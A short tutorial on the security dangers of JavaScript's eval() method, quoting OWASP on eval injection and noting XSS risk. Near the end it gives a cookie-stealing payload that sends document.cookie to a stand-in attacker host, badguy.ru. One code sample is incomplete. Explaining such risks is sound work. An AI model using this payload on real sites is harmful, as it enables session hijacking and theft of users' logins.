Eval In JavaScript As A Hacker's Dream


The Eval()  method in JavaScript is very powerful and can be used to execute JavaScript statements or evaluate an expression. Its main purpose is to evaluate a string as a JavaScript expression, as shown below.

function myMethod(foo) {      
    console.log(foo + ": " + eval(foo));      
var foo = "something";      


foo: foo

Why is it considered a hacker's dream?

eval () method evaluates a string of characters as code. It generates JavaScript code dynamically from that string, and developers use it because the string contents are not known in advance. It runs a string as a code.


  1. eval('al' + 'er' + 't(\'' + 'hello I am coming from eval() method!' + '\')');   

Here, I have put the method "alert()" with some string inside the eval() method as a string. eval() method evaluates it and generates JavaScript dynamic code alert() with value. The alert box will appear after the execution of the code, like below.

According to a famous security website, Owasp, it is prone to direct dynamic code evaluation or Eval Injection.

"This attack consists of a script that does not properly validate user inputs in the page parameter. A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement, which results in code execution.

Note 1

This attack will execute the code with the same permission as the target web service, including operating system commands.

Note 2

Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions or set many variables." 

It is a dream for hackers because it is prone to XSS (Cross-Site Scripting) attacks.

Refer  DOM Based XSS

It is a dream of hackers because it is prone to SQL Injection.

A hacker can modify the eval() method's string if it comes from the response. Hackers can manipulate and modify the data coming from external storage.

Often, hackers spread a link containing code that steals a user's login cookie.

  1. /site/url? + eval(amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie)   


eval() is a very powerful method, and it is always considered evil due to security and performance issues. Eval code execution is very slow, and it is very difficult to debug.

So, eval() method in JavaScript should be used very carefully.